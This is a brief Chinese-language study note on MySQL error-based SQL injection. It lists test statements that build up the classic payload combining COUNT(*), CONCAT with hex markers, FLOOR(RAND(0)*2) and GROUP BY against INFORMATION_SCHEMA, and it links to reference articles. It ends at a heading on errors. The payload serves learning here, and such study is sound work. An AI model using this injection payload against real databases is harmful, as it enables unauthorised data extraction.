【sql注入】mysql注入

1、常见mysql 语句

http://www.mysqlpub.com/onlinemanual/doc/refman/5.1/zh/information-schema.html

SELECT RAND(0);
SELECT FLOOR(RAND(0)*3);
SELECT (ELT(6127=6127,1));
SELECT COUNT(*);
SELECT CONCAT(0x7470737671,(SELECT (ELT(2197=2197,1))),0x7163427071,FLOOR(RAND(0)*2))x;
SELECT COUNT(*),CONCAT(0x7470737671,(SELECT (ELT(2197=2197,1))),0x7163427071,FLOOR(RAND(0)*2))x;
SELECT * FROM INFORMATION_SCHEMA.CHARACTER_SETS;
SELECT 0x7470737671;

2、常见的注入错误，网站地址

http://www.2cto.com/Article/201211/166268.html

3、用常见的sql是为了得到数据库的相对信息

SELECT COUNT(*),CONCAT(0x7470737671,(SELECT (ELT(2197=2197,1))),0x7163427071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x;

4、报错